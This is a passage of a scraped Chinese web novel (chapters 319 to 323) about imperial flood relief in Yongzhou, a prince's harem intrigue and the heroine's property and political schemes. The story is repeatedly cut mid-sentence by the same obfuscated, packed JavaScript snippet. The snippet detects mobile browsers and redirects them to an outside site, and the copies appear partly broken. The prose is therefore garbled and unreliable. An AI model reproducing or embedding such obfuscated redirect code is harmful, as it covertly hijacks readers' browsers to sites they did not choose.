崔玄正立马提出来:“陛下,那边的官粮若是没有多余储备,当尽快联络地方豪绅。” 人多力量大。 很快,就商议出了几个解决方案。 许翰、崔述二人带兵先一步前往永州,陛下特赐一道旨意,可便宜行事,有权调动五万兵马。 只是对付一些暴民,五万兵马,已然绰绰有余。 许翰和崔述二人领旨后,立马出宫做准备,稍后就要点兵出发。 除了武将之后,永安帝又命付沛、御史大夫刘安庆二人前往永州,全面调查永州水患一事,当然,这其中也包括了此次的暴民**等相关事宜。 至此,事情处理完毕,但是永安帝的心情仍然相当糟糕。 大过年的,谁乐意听这种消息? 谢铮看陛下已经做了决断,抱拳道:“陛下,微臣曾听内子提过,大概一月前,云栖山庄曾收留过十余户自永州来的百姓,还曾提到家乡受了灾。” 曲世绩一听,这不是巧了嘛! “陛下,不若派人前往询问,如此也好知道永州到底是怎么回事。” 仅凭着永州司马的一纸奏折,的确是不能以偏概全。 “赵长清何在?” 赵长清此时在殿外候着呢,刚刚谈论那些大事时,他都没资格进来听。 “回禀陛下,微臣在。” “速去蓝田县云栖山庄,将永州难民一事调查仔细,切记,不可动刑动粗,朕只是想知道实情。” “是,陛下。” 这个年,注定是谁也别想过安生了。 当然,普通百姓们不知道这些事,照旧该走亲戚的走亲戚,该互相串门子的串门子。 而那些权贵之家,这个年节则是显得过分安静了些。 这种时候,谁敢大张旗鼓地摆宴请客去触陛下的霉头? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323247|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许昭昭的反应是最迅速的,她没有直接进宫,而是将自己的打算说与谢铮之后,由谢铮转呈陛下的。 永安帝还在发愁,却看到刚刚出宫的谢铮又回来了。 “还有事?” “禀陛下,刚刚微臣回府后将此事告知内子,内子说她在遂州有些产业,虽然不多,但也有良田千亩,可以就近往永州送一些粮食过去,初步估算,应该可以筹措两万余斤,若是再给些时间,五万斤应该也是可以的。正好安信侯路经遂州,可以由他直接带去永州救灾。” 永安帝的心情这才有些好转,还是有人知道帮他分忧的。 “嗯,昭昭是个好孩子,朕就代永州百姓谢谢她了。” 永安帝也高兴,这样的事情,许昭昭不是以自己的名头来做,而是交由谢铮和许翰来处理,就知道她是个懂事的。 而且有了许昭昭这么一起头,其它的一些权贵之家也都明白了陛下的圣意,但凡是在南边儿有产业的,也都帮着去书信,或者是直接安排人过去帮忙调动粮食。 陛下虽然只是口头嘉奖了安乐县主,但是大家都知道这只是一个信号。 永州水灾是百姓之难,但对于朝廷官员来说,未必就不是一个机会。 所以,各方人马都开始打着自己的小算盘,既能在陛下面前露个脸,又能给自己换些好处,所以,只是舍出去一些银钱或者是粮食,这又算得了什么? 不过,因为许昭昭是头一个,所以后面的人闻风而动,虽然也能让陛下夸赞两句,但总归是没有第一个站出来的人得到的好处多。 谁让他们反应慢一步了呢! 许昭昭这次反应及时,不仅让人在遂州帮忙调运粮食,自己在京城这边也是全力协助顾东阳来筹措救灾的粮食。 永州至少半年内是没有粮食可以产出的,所以,对于粮食的需求十分大。 顾东阳是户部尚书,此次筹措粮食和银钱,自然他就是主事人。 许昭昭这般配合,顾东阳自然也乐得卖她一个人情。 第319章 产女 对于水灾,许昭昭其实是颇有感触的。 因为她知道,古代因为受限于生产力以及生产工具,所以往往更多的是依靠天时地利。 尤其是以农业最为明显。 对于水灾,历朝历代都十分看重。 也正是因为如此,所以这次永州出现水患,但是身为都督的忠王却一无所知,下面的官员更是未曾上报,这简直就是滑天下之大稽。 若是刚开始就知道,那么现在,灾情早就已经得到了控制,老百姓的损失也不会这么大,更不至于**。 说到底,那些暴民,也不过就是因为吃不上饭,才不得不拿起了锄头、镐头来**。 他们真的是想当皇帝吗? 那不一定。 但是如果这个时候有人能让他们吃上一顿饱饭,他们肯定是愿意的。 许昭昭其实不太了解关于朝廷是如何救灾的。 直到她无意中翻到了史书,这才对于朝廷的布置有所了解。 她原本以为,出现灾情之后,就是朝廷派人运粮运药去救治即可。 可是实际上,却远比她以为得要复杂得多! 在汉代长安的官仓里,粟米堆砌的立方体精确到升龠。居延汉简中清晰记载着元狩三年的赈济标准:‘大男日食一斗,大女七升,小男五升’。 这种严苛的计量制度背后,是《周礼》‘荒政十二’的千年传承。 当黄河在永平十二年决口,朝廷施行‘以工代赈’之法,七万灾民修筑汴渠,既疏导洪水又换取粟米。渠成之日,青铜量器里的粟粒与运河里的浪花共同丈量着生命的重量。 所以,古人的智慧和责任心,当真不是三言两语就能说得清的。 许昭昭读过这些之后,才深切地体会到,任何时候,都有聪明人,所以她更加谨慎小心,不能暴露自己的小秘密。 其实许昭昭之前也想过很多治理水患,以及救助灾民一事,但是她看过这些之后,才发现,其实古人早已有了一套相对完整的救灾体系,只是她以前不接触,所以也不知道而已。 小看这个庞大的国家机器了呀! 许昭昭现在能做的,就是尽量配合朝廷,总不能背上一个为富不仁的名声。 这年头,名声比钱财还重要。 谢铮这次没有领到差事,但是意识到有灾民已经能到京城了,就足以看出这件事情的影响有多大。 所以,谢铮平时不在太极宫当值时,便会骑马带人在京城游走一圈。 京城太大,他自己当然不可能面面俱到,所以,许君锋、方亮等人都被他给叫上了。 其实,两县县令此时也都已经打起了十二分的精神,别在这个时候找事,干好自己的本职工作,比什么都强。 正月十五过后,京城关于年节的氛围已经淡去很多,小孩子们有一部分也去上学堂了,而大人们则是为了谋生计,各自回到了差事上。 一直到二月初,永州那边才传来八百里加急的好消息,至少,暴民作乱不值一提,已经被许翰招安了大部分,余下一小部分一直负隅顽抗,是因为手上都有人命,原本就是山贼出身的恶民,自然要被清剿。 永州一应官员,除了司马以及寥寥几位,基本上全都被下狱,有些因为罪大恶极,直接就被在灾民前砍首示众,以达到安抚民心的效果。 当然,大部分官员,要被押解回京。 这其中,自然就有永州别驾李扬。 忠王府内,此时也是人人自危。 自打元日起,主子便一直阴晴不定。 而姜孺人也因为受到了刺激,于正月早产。 好在一切顺利,姜宁生下了一个女儿。 不是儿子,自然会让忠王有几分失望。 但是还好,反正他现在也有儿子了,倒不急于一时。 至于赵月,她想得更为长远一些。 原本以为姜宁会一举得男,没想到却生了个女儿。 也罢,有了这个女儿的出现,自然会让姜家放松警惕,而且既然能生一个,自然就能生两个、三个。 这个孩子的到来,原本就是带着忠王和忠王妃的期盼的。 至于是男是女,倒也不是那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323248|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重要。 只要让姜家人知道,赵月不会故意针对姜宁,这便足矣。 碍于永州暴民一事,所以赵月不打算给这个庶女大办满月宴了。 此事,姜家也表示可以理解。 只是一个女儿,再则,又正赶上忠王被陛下责难厌恶之时,还是要低调一些的好。 姜宁心中不满,没能生个儿子,她就已经很失望了,得知还不能大办满月宴,自然更为不悦。 但是没办法,她只是一个孺人,没有资格去置疑王爷和王妃的决定。 除此之外,这个月子,姜宁坐的还是不错的。 赵月特意命人请姜家的人过来陪着聊天,而且一水儿的好东西往姜宁这里送,连带着给刚出生的庶女也寻了四位乳母过来,虽然最终只留下了两个,但是忠王妃的这份心意,还是被众人看在眼里的。 姜宁经过这一胎,也自以为对王妃了解颇深。 在她看来,赵月出身世家,自小学得便是宽和大度那一套,所以才会对她这个孺人特别好。 而且自打她有孕,赵月也的确是样样都对她照顾有加,忠王也是时常过来看望,所以,这就给了姜宁一种错觉。 她自以为很得宠! 她觉得忠王心中是真的有她,且对她情根深种的。 姜家如今虽然不及从前,但是太傅和姜延平的地位仍然稳固,姜贵妃在宫中仍然是一月内能得半月陛下垂怜,如此更坚定了姜家荣宠不衰的景象。 忠王也是得赵月数次提醒之后,才不得不多对姜宁上心。 “启禀王妃,姜贵妃派人给姜孺人以及小姐送来了赏赐。” “随我去迎一迎。” “是,王妃。” 姜贵妃得宠,哪怕只是贵妃,忠王妃也不敢怠慢,便是她派出来的人,赵月也是以亲迎来表示看重。 无论是谁,都挑不出赵月的错处。 姜宁听闻后,更觉得自己在忠王府的地位超然,只是少了一个王妃的名头而已。 不得不说,姜宁的这种自以为是,却是大大地愉悦了王妃赵月! 第320章 枕边风 在赵月的眼里,现在的姜宁就像是一个戏子,在那里自以为风情万种地勾引着王爷,还以为全天下就只有她最美,王爷眼里也只有她一样。 赵月对此自然是嗤之以鼻。 但现在永州出事了,王爷还需要姜家的扶持,所以,现在这个时候,王府内宅就不能乱。 姜宁自以为她是王爷心尖上的人,那就如她所愿,至少也要做出这种假象来,如此,姜宁才会回姜家去说服姜太傅等人,而宫中的姜贵妃,也才有可能在陛下耳边吹吹枕边风。 不得不说,姜宁真地就是如赵月所以为的那般,回姜家搬救兵了。 之后,等自己一出月子,便急忙进宫谢恩。 说是谢恩,其实不过是去求姜贵妃能施以援手罢了。 姜贵妃看到自己的侄女气色很好,脸色红润,身形稍显丰腴,更多了几分妇人的韵味,再看她这一身穿戴,便知道她的确是在忠王府过得不错。 “此事我心中有数,你也不必心急,陛下如今的火气已经消得差不多了,忠王只是遥领永州都督,又不是亲自在那里坐镇,出了纰漏,也不能将一切过错都推到忠王身上。不过,永州别驾李扬这个人,你回去后还是要问问忠王,若是他的嘴不严,实在是没有再留着的必要。” “是,姑姑。” 赵月这些日子的辛苦没有白费,姜宁从宫中带出了好消息。 自打那日永州出事之后,忠王就被暂且免了身上所有的差事,同时命他在府中自省。 忠王也的确是没有出府一步,这个认错的态度,还是很不错。 此时,姜宁偎在忠王怀里,撒娇道:“王爷放心,姑姑说了,如今陛下的火气没有那么大了。而且,我祖父和父亲也都会在殿前为您说话的。” 忠王一颗心才总算是放回到了肚子里,天知道这些日子他有多害怕。 好在有赵月从旁一直劝慰,又一再表明姜贵妃定然会为他说话,届时,事情自然也就迎刃而解。 事实证明,他的王妃果然是高瞻远瞩,料事如神。 这一个多月来对姜宁的好,果然没有白费。 此时的忠王,也不再心疼那些好东西了,只要事情能落下帷幕,父皇不会将一切怒火都朝向他,那就无碍了。 忠王在姜宁这里待了一下午,之后就说要去王妃那里商量一些事情,说是晚上会过来陪她,姜宁便满脸娇羞地应了。 忠王和赵月两人一起用完晚膳,之后才慢悠悠地提起这次的祸事。 “李扬的事情还是要尽快处理掉。就算是姜贵妃不说,咱们也得做好万全的准备。此次的案子是赵长清审理,但李扬是永州别驾,所以此案终归还是要流入大理寺。咱们在这方面不占优势。” 忠王点头:“王妃放心,本王会安排好一切,流民作乱,任谁也怀疑不到我们头上。” “王爷心中有数就好。既然姜贵妃愿意在御前为您说话,那这些日子您就多在姜孺人那里留宿吧。至于李孺人,暂时还是以前的一应用度不变,免得再有人说王爷薄性无情。” 忠王满脸欣慰道:“本王何其有幸能娶王妃为妻,若它日本王事成,王妃当居首功!” 赵月唇角含笑,眉眼弯弯:“妾可真地将此话记在心里了。待日后王爷大事成功,妾可要与王爷一同叩谢天恩的。” 忠王大笑,心情极好。 赵月所说的叩谢天恩,不过就是帝后一同参与祭天大典罢了。 若是真的能坐上那个位置,这后位,自然只能是赵月的。 赵月表现得越是大方得体,且是真的处处为他着想,忠王就越是觉得自己亏待了王妃。 护国公府,许君锋和安和县主一起来找许昭昭说话,其实就是四人一起坐在这里商量着永州之事罢了。 许昭昭将所有人摒退,便是丁香等人都被派到外面守着了。 有些话,真是不能走漏半点风声。 “忠王遥领永州都督一职,此次陛下震怒,已经停了他所有的差事,还命其自省,以我看,这次忠王是翻不了身了。暴民作乱,而且那些暴民还杀了三名朝廷官员,此事纵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15329883|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是朝廷有错在先,陛下也不能容忍**这样的事情发生。 忠王耳目闭塞,而且那个李杨还是他的人,这次陛下定会重惩于他,搞不好还会直接让他停职,甚至是贬爵。” 许君锋说完,还一脸期待地看向谢铮,想要在他的脸上看到认同的神色。 谢铮却摇头,面无表情道:“陛下虽然明辨是非,但忠王毕竟他的亲儿子,陛下这次应该会是雷声大雨点小。” 安和县主也是微微点头:“我也觉得陛下不会重惩忠王,但是其它的官员就别想落着好了。” 许昭昭对于永安帝也算是有那么两分的了解,但是,她更相信自己的判断。 一位帝王,再圣明,也终归是会有私心的。 忠王是他第一个儿子,自幼便得他的宠爱,若非如此,陛下也不会直到现在都未曾册立太子。 按说立嫡为先,那么安王早就应该被立为太子了,可是陛下对皇后不喜,自然也就没有那么喜欢这个嫡子。 也正是因为如此,所以陛下才会一直空着太子之位。 兴许,以前是想着让自己喜欢的女人所生之子来继承大统,但是谁又能想到,姜贵妃竟只得一女呢。 直觉告诉许昭昭,现在的忠王和安王,都不是永安帝心仪的太子人选。 所以,这两位,不过是陛下故意推出来的耙子罢了。 “忠王不会受到严惩,毕竟他只是遥领都督一职,这种事情,李扬等官员才是主要责任人。不过,我觉得忠王极有可能会对李扬等人下手。” 谢铮也想到这一点了。 但是眼下这些犯官被重兵把守,一路严密押解,也能让忠王得手? 许君锋坐不住了:“妹妹你既然料到了,那咱们就得阻止他呀!” 谢铮轻飘飘地瞅他一眼:“坐下!” 许君锋身体一僵,妹夫给人的压迫感太强了。 许昭昭无奈摇头:“我们阻止不了,也不能阻止,毕竟,不想让忠王被牵连进来的,不止是只有他这一派的官员们。” 第321章 房地产 许昭昭的意思,谢铮秒懂。 安和县主则是呆怔片刻之后,才反应过来,许昭昭指的那位,该不会就是陛下吧? 许君锋到底还是缺少一些**上的觉悟,他更适合去战场上拼杀,真要是在朝堂上商讨政事,他还需要更多的历练。 “妹妹,你这话是什么意思?” 总共四个人,就他一个没懂。 安和县主无奈地翻个白眼儿,许昭昭则是觉得好笑。 谢铮解释道:“忠王再不好,也是陛下的长子,陛下不会允许自己的亲儿子被搅和进这样的事情之中,这对于忠王不妥,对于他这位帝王而言也同样不妥。” 说白了,就是皇家还是需要一些好名声的。 若是忠王被牵连进来,传出去了,那天下百姓们会怎么看待皇室? 所以,忠王不能背上这样的恶名。 许君锋总算是明白了,但他还是不懂,做错事了,就要受罚,这难道不对吗? 若是放在寻常人家,再正确不过。 可这是皇家,那就不一定了。 皇家讲的不是对错,而是利弊。 听起来很功利,很冷血,但这就是事实。 许昭昭喝了口茶,慢悠悠道:“二哥,记住以后在外面少说话,多听多看,如果有不懂的,可以回去后问问父亲和大哥三哥。你的优势不在朝堂,而在战场上,所以,有些事情你想不明白,也不能理解这是很正常的,就好像是大哥和三哥也同样不能如同你去上阵杀敌一样。” 许昭昭这番话说得很高明,既直接点明了许君锋的弱项,但是同时也告诉他,他只是不擅长这种勾心斗角,他的战场,一直都不在朝堂上。 安和县主笑道:“夫君的确是更适合军营。” 四人相视而笑,自家人知自家事,许君锋的**敏感度差,但是有家人帮衬,总归不会让他犯大错。 不过,该锻炼还是要锻炼一下的。 “永州出事,这次定然会是几方人马争抢的机会。此事我已经与父亲暗中通过消息,咱们的人按兵不动,包括舅舅那边,也不必向陛下举荐人才。这种时候,还是要先管好自己,不能再露头了。” 永州虽然只是一个中州,但是只要是大兴朝的地界,定然就会有人争抢各种资源。 忠王这次损失最大,他一定会想法子再捞回来,而安王定然也会想趁机撕块肉下来,还有其它皇子们的支持者也会闻风而动。 所以,这种时候,正是陛下想要看看各方势力强弱的最佳时机。 这个时候,谁动,谁就是在暴露自己的野望。 谢、许两家都是忠实的保皇派,所以,他们没有这个必要去争抢这方面的**资源。 但是,可以密切关注。 许昭昭甚至想着,如果有必要的话,她不介意暗中下黑手的。 永州这边的官员还没有完全定下来,但是周时谦和谢林二人都已经成功拿到了任命书,一个去了长安县任县丞,一个则是成为了四门助教。 同时,蓝田县令被调入京中,而方有为也顺利接任蓝田县令一职,这一次也是因永州之祸而得福。 朝廷一下子损失了那么多的官员,所以方有为这里,吏部也就直接下达了任命公文。 没了那个代字,方有为正式成为蓝田县县令。 陈琮得知这个消息时,人都麻了。 表妹这个办事能力是不是也太强了! 去年才见过面,这么快,他的堂舅就成为县令了? 果然,背靠大树好乘凉呀。 古人诚不欺我! 于此同时,蓝田县,距离云栖山庄大概二里处,已经开始有大批的劳工干活了。 清理地面上的碎石、杂草,这些只是第一步,之后就是开始打地基,然后按图纸开始造房子了。 许昭昭拿下这片地,压根儿没花多少钱,主要因为这里原本就荒芜,而且蓝田县公廨里也缺钱,有人愿意花银钱买下这片荒地,整个公廨就没有一个不高兴的。 许昭昭手上有了地契,接下来就是打造商铺、宅院,然后再逐一办理房契。 这么一大片的地,不可能一下子就建完。 所以,严树按照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15329884|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前县主的吩咐,分成了三期来做。 如今只是一期工程,总共要建造大小不一的商铺十六间,宅院共计十二处。 除此之外,还要挖水井、种植一些易成活的树木等等。 现在的建造速度没有那么快,而且因为是青砖瓦房,所以成本也高。 因为这里的动工,直接拉动了整个蓝田县的经济。 尤其是一些鼻子灵敏的商户,得知这些商铺是安乐县主命人建造的之后,心思自然就活跃起来,没等地基打完呢,就争先恐后找到了严树,想要预先定购一处位置好的商铺。 这十六间商铺,大小不一。 有的小商铺,适合经营杂货,有的大商铺,甚至是可以经营酒肆客栈。 甚至还有胡商也找到了严树,想在这里购置一处宅院,日后就做他们商队的落脚点。 总之,严树就是这么稀里糊涂地收了大笔的定金,然后一期的商铺和宅院已经全都卖空了。 当然,许昭昭事先预留出来的商铺,自然不在其中。 严树收了大笔的定金,一下子就意识到县主的安排可能是真地有先见之明,所以收拾一下,火速进京禀报进度。 许昭昭听完之后,倒是觉得尚可。 “既然如此,那就再多招募一些行家里手,屋舍一定要建得结实,不可偷工减料。另外,只要人手足,那么夏末时,便可准备二期建造,我们的速度越快,那些商户们真是能觉得这里面有利可图,同时,也能得到蓝田县更多的支持。” “是,县主。” “听闻陆续又有一些永州府过来的灾民抵达京城,你看着安排,只要是老实肯干的,都可以带去工地做工,工钱方面不可克扣,若是能让他们在蓝田县安家,再好不过。” “小的明白。若是想要归属于咱们云栖山庄,那必然是还要查仔细了。” 许昭昭点头,严树明白她的意思,做事也更为谨慎了。 “对了,二期建造的时候,同样的,将最大的那处商铺留出来,二期建造的宅院,也预留出两套最好位置的,我有用处。” 第322章 看不上 谁能想到,许昭昭竟然在古代搞起了基建? 许昭昭当然不会真地将这些产业都留在自己手里。 她又不傻,这么多的铺面宅院,如果真地都留在自己手里,压着大笔的钱财不说,还容易被人注意到,怀疑其用心不正。 倒不如干脆直接往外卖。 如此一来,既繁华了蓝田县,自己还能大赚一笔。 这地皮就不说了,原本就不值什么钱。 而建造屋舍的费用,其实也没多少。 打个比方,如果只是寻常百姓家盖个普通的三间正房加东西各两间厢房的砖瓦房宅院,可能需要二十贯钱左右,但如果是许昭昭这样大批量的建造,平均下来,同样的一套宅院,成本上可能就只有十二贯钱左右。 但是你能想像,一套这样的宅子,许昭昭能卖出多少钱? 一百贯呀! 这是妥妥的暴利! 许昭昭为什么敢卖这么贵? 因为对于在这里购置商铺的人来说,早晚是要在这里再购置一套宅院的,无非就是宅院大小的事了。 而且但凡是有能力在这里买下商铺的人,也都清楚,这里的宅院,兴许再等两年,一百贯钱都是买不到的。 许昭昭当然不会傻到什么也没有准备,直接就在这里盖房子卖房子。 谁的钱也不是大风刮来的,凭什么就得往你这里送呢? 许昭昭私底下拜托付沛、王长庚等人,帮她物色了几位名声不错的学者,她有意在云栖附近再建造一所比县学更为有名的书院。 仅仅只靠商路,一时半会儿起不来。 但是如果有书院加持,那么这里很快就会成为热闹的小镇。 来来往往的文人学子以及其家眷,只有人多了,那么一切便都水到渠成。 其实,说白了,这就是想要**口红利。 书院其实已经建造过半,再有一个月,便基本上全部峻工。 这是从去年开始就在建造的。 只是当时很多人不知道是在盖什么,只以为是云栖山庄的别苑。 付沛的老师,被许昭昭给请了过来。 说是老师,其实就是付沛在京备考时,曾上门求教过,而且也的的确确算是有师生之谊。 如此一来,有状元的先生这个名头加持,书院还未曾正式开始招生,便已经打出名声去了。 这下子,那些提前一步交了银钱买下商铺的商户们可都乐翻了。 有的人甚至已经开始张罗着要做书斋生意了。 除了书院之外,在古代还能快速**人气的,便是佛学、道学等等。 许昭昭不信佛学,但是因为自己的到来,又很难解释这一现象,所以便秉持着自己不信奉,但是也不会去恶意败坏这些信仰的名声。 但是,有一点前提。 她要正统的佛学、道学甚至是其它的法学等等,唯独不可以是那等欺世盗名,打着普渡众生的名头,疯狂敛财的败类。 这些,许昭昭都不怎么熟悉,所以都是王若兰和她的舅母李青梅二人帮衬着牵线搭桥。 其实这些对于许昭昭而言都不难。 因为对方只是需要划出一片地来,接下来就是他们自己建造庙宇道观,不需要去耗费许昭昭的钱财。 而许昭昭也明白,有了这两处的加持,蓝田县很快就会热闹起来。 有了这些还不够。 许昭昭还特意将这里弄得绿意盎然,只要是能在北方开的花,全都安排上。 这年头,对于普通人而言可没有什么放游的概念,但是对于一些学子名士而言,游学可是再正常不过之事了。 名山大川,对于那些学子而言,便是最好的去处。 蓝田县虽然没有什么名迹,但是有道观有佛堂,如今又有了美景、书院,相信用不了几年,便能引得天下学子前来游历。 不能急,也不需要急。 许昭昭有的是时间,毕竟她还年轻。 而且,有些事如果做得太快,效果太好,反倒有可能会引起一些不必要的麻烦。 所以,后续的推动,她都刻意让严树放慢了速度,眼下只是招募大量的劳工过来建造屋舍就好。 有建筑,外面听闻这里还有乐阳郡主的产业,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336987|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曲家的产业,那些商户们哪个是傻子? 个个闻风而动。 人来了,商机自然就来了。 钱是不可能让自己一个人赚完的。 所以,许昭昭还得舍出来一部分利益。 其中一处位置较好,而且也较为周正的宅院,就在这条街的尽头处,那里就是许昭昭提供给蓝田县衙的公廨。 没有旨意,县衙自然不可能搬过来,但是县衙要安排一些差役或者是市令等过来,所以这里就是蓝田县的公廨,不需要县衙出银子,便能有地方办公,方有为没道理不答应。 除此之外,许昭昭还给了谢氏宗族、许氏宗族各一套商铺,由他们自行决定是拿来出租,还是自行经营生计。 大宗族不在乎这点儿产业,但是你不能不给。 否则就显得你不懂事了。 乐阳郡主没有白要商铺和宅院,都是自己拿银钱买的。 曲家也没白要的意思,虽然许昭昭的本意是白送,但是曲世绩这样的老狐狸精明着呢,知道越是白拿的东西,付出的代价反而越大,干脆就命人将银钱送到严树手上了。 许昭昭倒是很高兴。 因为她原本就不想白送产业给曲家,也是他们自己识趣,要不然,她还得想法子从其它渠道把银钱给赚回来。 刘起得了一套商铺,是许昭昭送的,但是对外说是刘起的夫人拿银钱买的。 在官府办完手续,谁还管你是不是白拿的? 况且,只是一处商铺,于一些官员而言,实在是不起眼。 但是对于刘起,这可算是一项价值不菲的产业了。 刘起看着房契,心中多少有些沉闷。 先前安乐县主说要送他一份大礼,以表示对他的感谢,难不成,就是这么一处商铺? 刘起不是一个贪得无厌之人,但是对于这么一处商铺,实在是提不起他的兴致。 他要的,从来就不是这些身外之物。 他亦有远大志向,只是,奈何家贫。 刘起的这份郁闷,没有维持太久。 “老爷,吏部的大人来了。” 第323章 润物细无声 长安县令,是正五品上的官职。 虽然品级不是太高,但主要是实权在握。 刘起在这个位置上的时日尚短,所以,想要高升,还得再等等。 可是刘起这阵子也明显察觉到,肃国公对自己的冷淡。 兴许,是嫌弃自己办事不力,也有可能是觉得自己眼下的官职太低,入不得他老人家的眼了。 此时刘起听闻吏部有官员来该,还有些意外。 将人请入屋中说话后,这才知道对方的来意。 “这是吏部尚书大人已经签署过的公文,恭喜刘大人了。” 刘起茫然片刻,拱手道:“还请贤兄明示,不知道是喜从何来呀?” “刘大人如今兼任京兆府少尹一职,这是公文,日后还请刘少尹多多关照才是。” 京兆府少尹,那可是从四品下的官职,最主要的是,这权利范围,已经是扩大到了整个京兆府。 虽然只是少尹,但若是赵长清不在时,这少尹便是主官。 目前,京兆府有两位少尹,一位是刘起,另外一位,据说是安王的人。 刘起想到什么,心中明了,连忙拱手道:“多谢贤兄还特意走这一遭。若是今日贤兄得空,不妨一起小酌几杯?” “今日怕是不成。大人有命,着刘少尹尽快办理好交接手续,如今京兆府里头可是忙得一团乱,只等着刘少尹尽快赴任呢。” “多谢贤兄提点。” 像这种本来就是县令,还要兼任少尹的事情,很少见。 毕竟都是实官。 刘起眼下也顾不得许多,得赶紧去京兆府赵长清那里去报到,之后还要请示一下,他日后办差,到底在哪个府衙才最合适。 其实长安县这边基本上没有什么太多的公务。 县丞是新调来的周时谦,办事能力有,而且为人行事低调,比较靠谱,县尉那里也是老人儿了,不需要他多操心。 刘起这会儿才想起许昭昭所说的大礼,难不成,便是如此? 京兆府的主官是赵长清,因为去年的庆王案,的确是牵连了不少官员。 这一次,吏部下发的公文,就是因为去年有一位少尹被牵连其中,然后便一直只有一位少尹。 少尹这个职位,多的时候,甚至能达到四个! 这是前朝时候的事了,估计那会儿就是**风气盛行,有些官职上自然就会多安排几个人,反正也是朝廷出俸禄。 但是如今不同。 京兆府自打去年庆王一案后,便一直很忙。 今年再加上了永州水患一案,竟然将京兆府的几位参军以及长史都给牵连在内。 京兆府缺人干活呀。 也是许昭昭聪明,没敢明着往京兆府塞人,但是暗着来,还是可以的。 谁能想到,刘起竟然和许昭昭站到一处去了? 兼任少尹一职,所以刘起的主要办事地点就会迁至京兆府,但他还是长安县县令呢,所以赵长清让他每隔三五日便去坐衙一天,也好处理一下那边的公文。 这就能体现出刘起的办事能力了。 有得力的县丞和县尉,所以刘起大部分时间都待在京兆府处理公务,而且长安县一切都还井井有条。 也正是因为如此,刘起是正式入了赵长清的眼。 赵长清这人吧,能力有,忠心有,且为人清正廉明。 所以许昭昭几次向赵长清示好,都是借助于一些公事,或者是对百姓有利之事。 这种变相地拉拢,让赵长清从不认为是安乐县主在特意拉拢他。 就是一种润物细无声的效果。 这日,许昭昭又将高大魁给派过来了。 高大魁若只是寻常商户,哪有资格求见府尹大人? 可他是安乐县主派来的,那就不同了。 赵长清正在和两位少尹议事,听闻是安乐县主派人过来后,也没有让他们避开,直接将人请进来了。 “小人高大魁参见府尹大人,二位少尹大人。” 赵长清抬手:“免礼,不知高管事此来何事呀?” “禀赵大人,小的是奉县主之命,特意来禀告赵大人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336988|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓝田县那边的开荒顺利,并且还成功地培植了部分药材,下面的人在山上采药时,意外发现了一处玉矿,特意来府衙登记,并且需要官府出具的采矿公文。” 